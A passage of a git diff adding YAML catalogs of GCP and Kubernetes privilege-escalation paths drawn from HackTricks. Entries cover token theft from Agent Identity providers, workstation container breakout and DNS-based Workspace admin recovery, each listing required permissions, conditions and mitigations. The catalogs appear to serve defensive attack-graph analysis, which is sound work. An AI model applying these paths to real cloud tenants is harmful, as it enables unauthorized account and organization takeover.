src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#gsuiteaddonsdeploymentsupdate + summary: The source can obtain the privileges of Workspace users who invoke HTTP add-on deployments it can update, limited to the scopes they + already granted. + requires: + all_of: + - action: gsuiteaddons.deployments.update + resource: '{target.host_resource}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_addon_user + scope: any + aggregate_as: Workspace users of updatable HTTP add-on deployments + conditions: + - id: later_invocation + description: An installed and authorized user must invoke the add-on after the change; only that user's already-granted scopes are exposed. + - id: http_runtime + description: Only HTTP add-on deployments; Apps Script deployments differ. + blockers: *id001 + confidence: conditional + severity: medium + mitigation: Restrict gsuiteaddons.deployments.update and alert on deployment endpoint or scope changes. + +- provider: gcp + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + id: gcp-agentidentity-retrieve-credentials + service: agentidentity + title: Retrieve a stored OAuth token from an Agent Identity auth provider + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersretrievecredentials + summary: The source can obtain the privileges of users whose OAuth tokens are stored in Agent Identity auth providers on which it holds retrieveCredentials, + limited to their consented scopes. + pivot_resource_type: agentidentity_auth_provider + requires: + all_of: + - action: agentidentity.authProviders.retrieveCredentials + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: agentidentity_authorized_user + scope: any + aggregate_as: Users with tokens stored in {pivot} + conditions: + - id: google_provider + description: Workspace impact needs a provider configured with Google's OAuth endpoints and a user who already consented to Workspace scopes. + - id: known_user + description: The per-user credential must exist for a known user ID. + blockers: *id001 + confidence: conditional + severity: high + mitigation: Treat roles/agentidentity.user and custom roles with retrieveCredentials as credential-vault access. + +- provider: gcp + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + id: gcp-agentidentity-update-token-url + service: agentidentity + title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersupdate-token-endpoint-interception + summary: The source can obtain the privileges of users whose OAuth flows run through Agent Identity auth providers it can update, limited to + their consented scopes. + pivot_resource_type: agentidentity_auth_provider + requires: + all_of: + - action: agentidentity.authProviders.update + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: agentidentity_authorized_user + scope: any + aggregate_as: Users with tokens stored in {pivot} + conditions: + - id: later_refresh + description: Takes effect only on a later token exchange or refresh through the provider. + blockers: *id001 + confidence: conditional + severity: medium + mitigation: Restrict authProviders.update (roles/agentidentity.editor) and alert on authorization/token URL changes. + +- provider: gcp + source_revision: 6fb9ac51fd + id: gcp-appintegration-runas-sa-actas + service: integrations + title: Publish an Application Integration version with a chosen run-as service account + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#runasserviceaccount--author--publish-an-integration-that-runs-as-an-arbitrary-sa + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, + by authoring, publishing and running an integration version configured to run as that account. + requires: + all_of: + - action: integrations.integrationVersions.create + resource: '*' + - any_of: + - - action: integrations.integrationVersions.deploy + resource: '*' + - - action: integrations.integrations.deploy + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Application Integration run-as SA in {project} + conditions: + - id: task_level + description: The SA token is used by Connector, REST caller and Cloud Function tasks of the integration (request + level). A trigger-level run-as account also lets scheduled or event triggers run the integration without the + invoke permission. + - id: legacy_behavior + description: Before Google's authorization change, publish did not enforce actAs and unset run-as fell back + to the integrations service agent. + - id: execution_trigger + description: Without caller invoke permission, require a deployed scheduled/event trigger or a verified different + principal that invokes the published version; otherwise the path remains UNKNOWN. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated integration SAs; roles/editor and roles/owner contain both halves. +- id: gcp-workspace-super-admin-org-admin + provider: gcp + service: resourcemanager + title: Workspace or Cloud Identity super administrator takes over the associated Google Cloud organization + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-super-administrator-to-gcp-organization-administrator + source_revision: 171e422 + summary: A super administrator of the Workspace/Cloud Identity account linked to the organization can always grant itself or a controlled principal Organization Administrator, which gives it IAM control of the whole organization. + source_kind: gcp_user + source_selector: + gcp_workspace_admin_role: super_admin + requires: + all_of: [] + target: + kind: gcp_scope_owner + selector: + any_principal_in_scope: true + scope: org + aggregate_as: "IAM control of organization {target.scope}" + conditions: + - id: org_linked_to_customer + description: The organization resource must belong to the source's Workspace/Cloud Identity customer. + blockers: [] + confidence: derived + severity: critical + mitigation: Keep super administrators few, dedicated, phishing-resistant and unused for daily work. Grant Organization Administrator to a separate group, and alert on organization IAM policy changes made by super administrators. + references: + - https://docs.cloud.google.com/resource-manager/docs/super-admin-best-practices + notes: Google documents that super administrators hold irrevocable Organization Administrator capability that does not appear in the organization IAM policy, so IAM-only analysis cannot see it. + +- provider: gcp + source_revision: 171e422 + id: gcp-appintegration-authconfigs-get-decrypted + service: integrations + title: Read a decrypted Application Integration authentication profile + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsauthconfigsget--retrieve-decrypted-credentials + summary: The source can obtain a Google Workspace user OAuth credential from a known auth config only when its + type and scopes establish that user; external credentials and SA names require separate target modeling. + pivot_resource_type: appintegration_auth_config + requires: + all_of: + - action: integrations.authConfigs.get + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: appintegration_authconfig_identity + scope: any + aggregate_as: Identities whose credentials are stored in {pivot} + conditions: + - id: credential_type + description: Only OAuth authorization-code profiles (access and refresh token plus client secret) carry a Google + user's identity; token, password and JWT profiles reach the external system they authenticate to, and service-account + profiles hold only the SA name and scopes, not a key. + - id: google_scopes + description: Workspace impact needs a Google OAuth profile whose user consented to Workspace scopes; the token + does not expand scopes or impersonate other users. + - id: known_name + description: The auth config name (UUID) must be known; authConfigs.get does not imply list. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Treat integrations.authConfigs.get (included in roles/integrations.integrationViewer) as credential-vault + access and prefer run-as service accounts over stored OAuth tokens. + references: + - https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.authConfigs/get + - https://docs.cloud.google.com/application-integration/docs/configure-authentication-profiles + notes: Modelled like gcp-agentidentity-retrieve-credentials; the GET method returns the decrypted credential. + Previously excluded as a plain secret read. + +- id: gcp-dns-managedzones-setiampolicy-workspace-admin-recovery + provider: gcp + service: dns + title: Self-grant DNS record-write permission on a Workspace domain zone and complete administrator recovery + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-dns-post-exploitation.md#scope-boundaries + source_revision: 0b36331 + summary: The source can grant itself record-write authority on a public Cloud DNS zone and use the administrator-recovery + challenge to reach a Workspace super administrator of that domain. + pivot_resource_type: dns_managed_zone + requires: + all_of: + - action: dns.managedZones.setIamPolicy + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_super_admin_of_zone_domain + scope: any + aggregate_as: Workspace super administrators of domains served by {pivot} + outcome: identity + conditions: + - id: zone_self_grant + description: The source can add itself to a zone-scoped DNS role granting dns.changes.create plus dns.resourceRecordSets.create + or update and then write the challenge record. + - id: public_delegation + description: The zone is the publicly delegated authoritative zone for the Workspace primary domain. + - id: recovery_process + description: A live recovery challenge is available and Google accepts its DNS proof and any additional verification. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict dns.managedZones.setIamPolicy on zones serving Workspace primary domains and monitor zone IAM + changes, DNS challenges, and Workspace recovery. + references: + - https://docs.cloud.google.com/dns/docs/zones/iam-per-resource-zones + - https://docs.cloud.google.com/dns/docs/access-control + - https://knowledge.workspace.google.com/admin/users/recovering-administrator-access-to-your-account + notes: Distinct from gcp-workspace-cloud-dns-admin-recovery, which requires record-write permissions initially; this + path obtains those permissions through a zone IAM self-grant. +- id: gcp-workspace-cloud-dns-zone-policy-recovery + provider: gcp + service: dns + title: Self-grant zone DNS write and publish a Workspace recovery challenge + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md#gcp---cloud-dns + summary: Managed-zone policy write can grant record-write permissions used in Workspace administrator recovery. + pivot_resource_type: dns_managed_zone + requires: + all_of: + - action: dns.managedZones.setIamPolicy + resource: '{pivot}' + target: + kind: gcp_workspace_user + selector: + attached_to_service: workspace_super_admin_of_zone_domain + scope: any + outcome: impersonation + aggregate_as: Workspace super administrators of domains served by {pivot} + conditions: + - id: recovery_process + description: Google administrator recovery must accept the DNS challenge for the tenant; this is an external + process, not a guaranteed result. + confidence: conditional + severity: critical + mitigation: Restrict managed-zone policy writes on Workspace domains. + source_revision: 0b36331 + blockers: + - gcp_deny_policy + references: + - https://docs.cloud.google.com/dns/docs/access-control + - https://docs.cloud.google.com/dns/docs/reference/rest/v1/managedZones/setIamPolicy + notes: Only zone-scoped roles/dns.admin on the authoritative managed zone is assumed; this grants the record-write + actions needed by gcp-workspace-cloud-dns-admin-recovery. No project-wide DNS grant is inferred. diff --git a/src/privilege-escalation-paths-research/gcp/workstations.yaml b/src/privilege-escalation-paths-research/gcp/workstations.yaml new file mode 100644 index 0000000000..8dc5b939b0 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/workstations.yaml @@ -0,0 +1,182 @@ +# GCP Cloud Workstations privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-workstations-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: workstations_config -> SA pinned in an existing workstation config (host.gceInstance.serviceAccount); +# workstations_workstation -> SA of the config an existing workstation was created from. + +- id: gcp-workstations-config-create-actas + provider: gcp + service: workstations + title: Create a workstation config pinning a chosen service account and start a workstation from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: workstations.workstationConfigs.create + resource: "*" + - action: workstations.workstations.create + resource: "*" + - action: workstations.workstations.start + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Workstations SA in {project}" + conditions: + - id: session_access + description: Reaching the workstation needs workstations.workstations.use (not in roles/workstations.admin; self-grantable with workstations.setIamPolicy), unless the custom image or startup script runs code without a session. + - id: cluster + description: A workstation cluster must exist or be creatable (workstations.workstationClusters.create). + - id: access_scopes + description: The default token may carry only limited scopes; full power needs the config to request cloud-platform scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated workstation SAs; restrict workstations.workstationConfigs.create/update (roles/workstations.admin, roles/workstations.editor, roles/editor). + references: + - https://cloud.google.com/workstations/docs/access-control + notes: Omitting the SA uses a service-managed workstation VM identity, so there is no no-actAs path. + +- id: gcp-workstations-config-update-code + provider: gcp + service: workstations + title: Update an existing workstation config's image or startup script to run code as its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#code-exec-as-sa-via---container-custom-image----startup-script-uri-no-breakout-needed + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts pinned in workstation configs on which it holds workstations.workstationConfigs.update and iam.serviceAccounts.actAs on the pinned SA. + requires: + all_of: + - action: workstations.workstationConfigs.update + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs pinned in updatable Cloud Workstations configs" + conditions: + - id: workstation_boot + description: The payload runs when a workstation from the config next boots (started by its users or by the source with workstations.create/start). + - id: image_access + description: A custom image must be pullable by the pinned SA. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict workstations.workstationConfigs.update and monitor config changes to image and startup script fields. + notes: HackTricks @171e422 lists workstationConfigs.create/.update plus actAs on the pinned SA as the minimum permissions for the custom-image / startup-script code-execution path. + +- id: gcp-workstations-use-existing-workstation + provider: gcp + service: workstations + title: Connect to an existing workstation (directly or after an IAM self-grant) and use its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the SA of an existing workstation it can use or whose workstation IAM policy it + controls; config-policy self-grant needs a separate config-to-workstation join. + requires: + any_of: + - - action: workstations.workstations.use + resource: '{target.host_resource}' + - - action: workstations.workstations.setIamPolicy + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_workstation + scope: same_project + aggregate_as: SAs of Cloud Workstations the source can connect to + conditions: + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: other_user_session + description: Using another developer's workstation also exposes that user's session data; IAM on workstations + is granted per workstation or config. + - id: running_or_startable + description: For the direct use branch the workstation must already be running, or the source must additionally + hold workstations.workstations.start on it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/workstations.user per workstation only to its owner and restrict workstations.*.setIamPolicy + (roles/workstations.policyAdmin, roles/workstations.admin, roles/owner). + notes: Connection tokens from generateAccessToken cannot be revoked and last up to 24h. Config setIamPolicy requires + its own config resource join and a later create/start/use or another user session. +- id: gcp-workstations-create-from-existing-config + provider: gcp + service: workstations + title: Launch a new workstation from an existing service-account-pinned config + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts pinned in existing Cloud Workstations configs on which it can create workstations, because the new workstation it owns runs as the config's SA. + requires: + all_of: + - action: workstations.workstations.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + scope: same_project + aggregate_as: SAs pinned in Cloud Workstations configs the source can launch from + conditions: + - id: session_access + description: Running and reaching the new workstation needs workstations.workstations.start and workstations.workstations.use on it (roles/workstations.workstationCreator / roles/workstations.user); roles/workstations.workstationLimitExemptedCreator alone has no start/use. + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: access_scopes + description: The usable token is limited by the config's service-account scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant roles/workstations.workstationCreator only on configs whose SA is low privilege and keep privileged SAs out of shared workstation configs. + references: + - https://cloud.google.com/workstations/docs/access-control + notes: HackTricks @6fb9ac51fd states roles/workstations.workstationCreator can launch workstations only from existing configs, so its power depends on the SA those configs already carry. Creating the config with a chosen SA is gcp-workstations-config-create-actas. +- id: gcp-audit-s01-39-escape-workstation-container + provider: gcp + service: cloud-workstations + title: Escape workstation container to VM and steal metadata SA token + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + summary: The source can gain escape workstation container to VM and steal metadata SA token. Host breakout needs + an actual shell plus exposed Docker socket/privileged container and reachable metadata; config-create paths + require different IAM permissions. + requires: + all_of: [] + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-39-escape-workstation-container + scope: any + aggregate_as: workstation VM OS root and attached SA token + conditions: + - id: exact_target_evidence + description: Exclusion calls this already covered by config-create entries, but the page explicitly says a shell + in any accessible workstation plus Docker socket/privileged container suffices with no IAM config-create or + actAs permissions. Missing target evidence evaluates UNKNOWN. + - id: host_configuration + description: An accessible running workstation must expose Docker host control or privileged container access + and a usable metadata SA token. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc/#container-breakout-via-docker-socket-container---vm---project + source_kind: + - gcp_user + - gcp_service_account diff --git a/src/privilege-escalation-paths-research/k8s/_excluded.yaml b/src/privilege-escalation-paths-research/k8s/_excluded.yaml new file mode 100644 index 0000000000..298449887f --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/_excluded.yaml @@ -0,0 +1,683 @@ +# Kubernetes / OpenShift HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c, re-verified against 171e422 (see docs/privesc-ledgers/privesc-k8s.md); +# adversarial re-audit at a66f094ede (NEEDS SCHEMA rows reference privesc-schema-proposals-k8s.md). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#access-any-resource-with-a-specific-verb + technique: Single verb on all resources (e.g. get * or create *) + reason: Not a distinct permission set; the evaluator's wildcard expansion matches the specific entries (secrets read, pods create, serviceaccounts/token create...). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#stealth + technique: Stealthy pod naming/placement + reason: Evasion advice; same permissions as pods create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#port-forward + technique: pods/portforward + reason: Network access to a pod listener; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + technique: pods/proxy and services/proxy + reason: HTTP proxying to backends (network pivot); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#hosts-writable-varlog-escape + technique: Writable /var/log hostPath symlink escape via kubelet logs + reason: Creating such a pod is subsumed by k8s-nodes-privileged-pod-create (any hostPath is PSA-baseline-blocked); for existing pods the kubelet log-symlink read is kubelet-version dependent and yields a host file read, so writable /var/log is deliberately not counted by k8s_node_hosting_host_mount_pod_in_namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#bypassing-hostpath-readonly-protection + technique: Bypassing hostPath readOnly + reason: Refinement of hostPath pod creation (same permissions, same target, PSA blocker identical). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#reading-a-secret--brute-forcing-token-ids + technique: Brute-forcing legacy token Secret names with get + reason: Covered by k8s-rbac-secrets-read-legacy-sa-token (get_requires_secret_name condition). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#encryption-configuration-found-on-a-control-plane-node + technique: EncryptionConfiguration keys on control-plane hosts + reason: Data read from a host already compromised; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#coredns-config-map + technique: CoreDNS ConfigMap modification + reason: DNS traffic redirection (network attack); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#escalating-in-gke + technique: GKE access via GCP IAM container.* permissions + reason: GCP-to-Kubernetes edge driven by GCP IAM; belongs to the gcp catalog (gcp-container-privesc). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + technique: ValidatingWebhookConfiguration create + reason: A validating webhook cannot mutate objects, but it can receive the complete AdmissionReview for a later + matching Secret create/update. Observation is data disclosure unless that exact review contains a still-valid + credential for another identity; such an event and credential are runtime/content facts unavailable to a configuration + snapshot. Mutating webhook code injection is k8s-workloads-mutating-webhook-injection; weakening an existing + configuration is k8s-admission-webhook-configuration-weaken. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#services-status-cve-2020-8554 + technique: services/status LoadBalancer IP spoofing (CVE-2020-8554) + reason: Traffic interception (MiTM); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + technique: pods/status and nodes/status readiness/IP/label spoofing (traffic paths) + reason: "Readiness/IP/label spoofing for Services, EndpointSlices and NetworkPolicy is traffic manipulation without a new identity. Identity-bearing combinations are modelled: node attraction of pending pods (nodes/status labels or capacity, pods/status nominatedNodeName) in k8s-nodes-attract-pending-pod-to-controlled-node, replacement via pods/status in k8s-nodes-replacement-pod-to-controlled-node, pods/binding and bindings create in k8s-nodes-pods-binding-pending-pod-to-controlled-node." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#legacy-status-metadata-and-controller-deputies + technique: Legacy status metadata writes and controller deputies (ownerReferences GC, quota, PDB, Job/CronJob status) + reason: Deletion, availability and policy-scope effects; namespaces/status label change is modelled in k8s-nodes-namespace-psa-relabel; the rest grant no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#policy-and-scheduling-control-objects + technique: NetworkPolicy writes, ClusterTrustBundle writes + reason: NetworkPolicy writes reopen traffic and ClusterTrustBundle writes change TLS trust for opted-in pods; neither yields an identity. Node label scheduling is modelled in k8s-nodes-attract-pending-pod-to-controlled-node; Kyverno/Gatekeeper object writes are modelled in k8s-admission-kyverno-policy-weaken and k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#sensitive-non-resource-urls + technique: /debug/* and /metrics non-resource URLs + reason: Diagnostic data disclosure. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#create-or-patch-rolebindingsclusterrolebindings + technique: RoleBinding/ClusterRoleBinding writes without bind + reason: Escalation prevention only allows binding roles whose permissions the caller already holds (delegation/persistence, not escalation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#built-in-privileged-escalation-prevention + technique: Role/ClusterRole creation without escalate + reason: Kubernetes rejects roles containing permissions the creator lacks; no escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#sidecar-template-changes + technique: Sidecar proxy app + reason: Uses pods/controller create or modify already modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#malicious-admission-controller + technique: Malicious mutating admission controller deployment + reason: Same permissions as k8s-workloads-mutating-webhook-injection (duplicate). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#opa-gatekeeper-bypass + technique: OPA Gatekeeper bypass + reason: Pointer to the Gatekeeper pages; constraint/template/config writes are k8s-admission-gatekeeper-constraint-weaken, webhook configuration writes k8s-admission-webhook-configuration-weaken, excluded-namespace creation k8s-admission-policy-engine-excluded-namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#authorizer-match-condition-grants + technique: Custom verbs used by authorizer match conditions + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p2-admission-matchcondition-authorizer-placeholders (the required custom verb/group/resource/name come from live matchConditions CEL, so a static requirement cannot name them; blocker removal for admission_policy/admission_webhook)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#validatingadmissionpolicy-parameter-object-writes + technique: ValidatingAdmissionPolicy parameter object writes + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p3-vap-param-placeholders (the parameter object's resource, name and namespace come from the enforcing binding's paramRef and the policy's paramKind; resource_match any would be over-broad)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-policies-misconfiguration + technique: Kyverno policy misconfiguration / exclusions + reason: Exempt-subject bypass only decides whether the kyverno_policy blocker applies to a source; that blocker is never 'blocked' (policies are not collected, only possibly_blocked), so no reach is lost. Kyverno policy and PolicyException writes are k8s-admission-kyverno-policy-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-misconfiguration + technique: Gatekeeper excluded namespaces + reason: Excluded-namespace use only decides whether the gatekeeper_constraint blocker applies; that blocker is never 'blocked' (constraints are not collected), so no reach is lost. Creating an excluded namespace is k8s-admission-policy-engine-excluded-namespace; constraint/config writes are k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#kubernetes-traffic-object-writes + technique: Service/Endpoints/EndpointSlice/ExternalName redirection, pod-label hijack, create-only name squatting + reason: Traffic redirection; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#ingress-creation-and-route-replacement + technique: Ingress and Gateway API HTTPRoute exposure/replacement/mirroring + reason: Traffic exposure/interception; captured credentials are not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#status-based-traffic-interception + technique: Status-based traffic interception + reason: Traffic interception only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#arp-spoofing-in-pods-in-the-same-node + technique: ARP / DNS spoofing between pods + reason: Network attack requiring NET_RAW in a pod; no new identity derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-spoofing-via-coredns-configmap + technique: DNS spoofing via CoreDNS ConfigMap + reason: Traffic redirection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-writable-hostpathbind-mounts-container---host-root-via-suid-planting + technique: SUID planting through writable hostPath mounts + reason: Requires a host user executing the planted binary; node-level access via hostPath already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#dosing-other-nodes + technique: Node DoS + reason: Disruption only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#steal-secrets + technique: Stealing pod tokens from the node filesystem + reason: Same reach as k8s-nodes-node-mint-pod-sa-tokens (SAs of pods on the node); duplicate. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#image-pull-and-registry-credentials + technique: Image pull / registry credentials on nodes + reason: Registry credentials are data access; any cloud identity is covered by k8s-cloud-node-cloud-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#privileged-daemonsets + technique: Privileged DaemonSets on the node + reason: Covered by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#etcd-post-exploitation + technique: Reading Secrets from etcd + reason: Data read from a control-plane node; covered by k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#staticmirrored-pods-persistence + technique: Static/mirror pods + reason: Persistence; the API server rejects mirror pods referencing ServiceAccounts, Secrets or ConfigMaps, so no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#search-vulnerable-network-services + technique: Scanning/sniffing in-cluster services + reason: Network reconnaissance. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kube-apiserver-anonymous-resource-apis + technique: Anonymous API server access + reason: Exposure; anonymous bindings are evaluated as RBAC on system:anonymous/system:unauthenticated by the evaluator's group membership semantics. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubelet-https-api-and-legacy-read-only-port + technique: Unauthenticated kubelet API (anonymous auth, AlwaysAllow) + reason: Network exposure finding (kubelet config is not collected); not a principal-to-principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#etcd-anonymous-cluster-state-access + technique: Anonymous etcd access + reason: Network exposure finding. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authorization + technique: nodes/checkpoint and other kubelet subresources + reason: Container checkpoint yields memory/data of a container (data read); nodes/proxy is modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-governance-guardrails + technique: EKS governance condition keys / SCPs + reason: Guardrails, not an escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Azure-to-Kubernetes kubeconfig retrieval (listClusterAdminCredential, local accounts) and AKS NAP/NodePool writes + reason: Azure RBAC edges belong to the azure catalog; NodePool/AKSNodeClass writes are scheduling manipulation without a derivable identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Deprecated AAD pod-managed identity (NMI/MIC, AzureIdentityBinding) + reason: Deprecated mechanism, CRDs not collected; target not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#assembling-the-pieces + technique: External Secrets Operator ExternalSecret creation against a ClusterSecretStore + reason: Reads external secret-manager values (data access); the resulting identity, if any, is not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#other-helm-escalation-inputs + technique: Helm chart, dependency, hook, tpl/lookup 